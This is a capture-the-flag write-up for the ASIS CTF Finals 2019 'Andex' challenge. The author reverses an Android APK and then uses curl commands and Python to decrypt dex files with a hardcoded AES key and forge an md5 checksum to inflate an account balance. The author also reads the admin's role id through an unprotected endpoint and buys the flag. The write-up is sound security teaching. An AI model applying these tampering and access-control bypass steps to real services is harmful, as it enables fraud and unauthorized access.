[ASIS CTF Finals 2019] Andex

We start off with a single apk given. Running this through jadx-gui, we quickly find a list of API endpoints (some without the actual URL) in APIInterface and a base URL of http://66.172.33.148:5000/ (found in Utils):

  • PostUserProf: no url yet
  • getConf: api/get_config/{rolid}
  • getDex: api/get_dex/{dex}
  • getReg: api/userClass/register/{name}
  • getShopItem: no url yet
  • getShopOrder: no url yet
  • getShopOrderD: no url yet
  • getUserProf: no url yet

Following through the logic for SplashScreen, we register a user for ourselves, and receive an encryption key, a role id and a uuid which serves as our authentication token.

$ curl http://66.172.33.148:5000/api/userClass/register/flagbot
{"code":200,"data":{"encryption_key":"TXlEaWZmaWN1bHRQYXNzdw==","role_id":"RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63","uuid":"b55a22ae-d7e1-4ab6-8280-4a200797a408"}}

Then walking through the code for ConfigurationActivity, we obtain the config for our role id, and obtain the corresponding encrypted dex file, which we can then decrypt with AES-ECB and our encryption key (which turns out to be identical to the one hardcoded for the encryption method).

$ curl http://66.172.33.148:5000/api/get_config/RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"
{"code":200,"data":{"dex":"0D034B4F-61F5-4DB0-9FAF-E88B24F30572"}}
$ curl http://66.172.33.148:5000/api/get_dex/0D034B4F-61F5-4DB0-9FAF-E88B24F30572 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" -o config_enc.dex
from Crypto.Cipher import AES
c = AES.new(b"MyDifficultPassw", AES.MODE_ECB)
with open("config.dex", "wb") as o:
    o.write(c.decrypt(open("config_enc.dex", "rb").read()))

And so we obtain the missing API endpoint urls, so we can for example see items in the shop or inspect ourselves. - /api/shop/items/get_data - /api/shop/order/ - /api/userClass/me

$ curl http://66.172.33.148:5000/api/shop/items/get_data -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"  | jq
{
  "code": 200,
  "data": [
    {
      "description": "About free book",
      "img_addr": "/static/book.jpg",
      "item_id": 1,
      "price": 0,
      "stock": 1,
      "title": "Free book"
    },
    {
      "description": "About book 1",
      "img_addr": "/static/book.jpg",
      "item_id": 2,
      "price": 5,
      "stock": 0,
      "title": "Book 1"
    },
    {
      "description": "About book 2",
      "img_addr": "/static/book.jpg",
      "item_id": 3,
      "price": 5,
      "stock": 0,
      "title": "Book 2"
    },
    {
      "description": "About book 3",
      "img_addr": "/static/book.jpg",
      "item_id": 4,
      "price": 5,
      "stock": 0,
      "title": "Book 3"
    },
    {
      "description": "The flag is here :)",
      "img_addr": "/static/flag.jpg",
      "item_id": 5,
      "price": 1000,
      "stock": 1,
      "title": "flag"
    }
  ]
}

$ curl http://66.172.33.148:5000/api/shop/order/1 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"  
{"code":200,"data":{"result":"purchased successfully, but you cannot get anything for free :)"}}

$ curl http://66.172.33.148:5000/api/userClass/me -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"  
{"code":200,"data":{"blc_currency":1,"id":31,"role_id":"RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63","username":"flagbot","uuid":"b55a22ae-d7e1-4ab6-8280-4a200797a408"}}

So our goal should be to obtain enough money to buy the flag, and do so.

To get there, we observe that we can update our username through the api, as long as we provide a good md5 checksum. I wonder what would happen if we instead try to update out blc_currency.

from hashlib import md5
print(md5(b'{"blc_currency": 1000}MyDifficultPassw').hexdigest())

Note: don’t forget to provide an appropriate Content-Type header

$ curl http://66.172.33.148:5000/api/userClass/me -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"  -H "checksum: 9188845ea312bf76d91f63990a6feda2" -H "Content-Type: application/json" -d '{"blc_currency": 1000}'
{"code":200,"data":{"result":"ok"}}

$ curl http://66.172.33.148:5000/api/userClass/me -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"
{"code":200,"data":{"blc_currency":1000,"id":31,"role_id":"RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63","username":"flagbot","uuid":"b55a22ae-d7e1-4ab6-8280-4a200797a408"}}

And there we go, that should be enough money to buy the flag. When buying the flag, we again get a dex file that we need to decrypt first (as happened for the config.dex).

$ curl http://66.172.33.148:5000/api/shop/order/5 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"
{"code":200,"data":{"result":"625551C4-BB3F-48FB-9C29-A69F7AD74968"}}

$ curl http://66.172.33.148:5000/api/get_dex/625551C4-BB3F-48FB-9C29-A69F7AD74968 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"  -o flag_enc.dex

Unfortunately, this isn’t quite the flag yet, as it tells us that “you are not gold user to buy this item”. Besides that, we also obtain an undocumented api endpoint at /api/userClass/u/[user_id]/get/[property_name]. So let’s try to obtain the admin’s role id instead of our own then.

$ curl http://66.172.33.148:5000/api/userClass/u/1/get/role_id -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" 
{"code":200,"data":{"property":"RIDDFBE279A-8DC0-46DF-88A6-9717757C29A2"}}

$ curl http://66.172.33.148:5000/api/get_config/RIDDFBE279A-8DC0-46DF-88A6-9717757C29A2 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" 
{"code":200,"data":{"dex":"8E04B1AE-8F63-4999-8D0E-886210B7F9D0"}}

$ curl http://66.172.33.148:5000/api/get_dex/8E04B1AE-8F63-4999-8D0E-886210B7F9D0 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"  -o admin_config_enc.dex

Decrypting and decompiling that gives us yet another api endpoint, that seems to allows us to make a purchase as a gold user: /api/shop/order/as/gold/item_id/. We still have all our money, so let’s try buying it as gold user.

$ curl http://66.172.33.148:5000/api/shop/order/as/gold/item_id/5 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"  
{"code":200,"data":{"flag":"ASIS{1000c2e79e6fc679a46bad1b065639c5}"}}

Victory!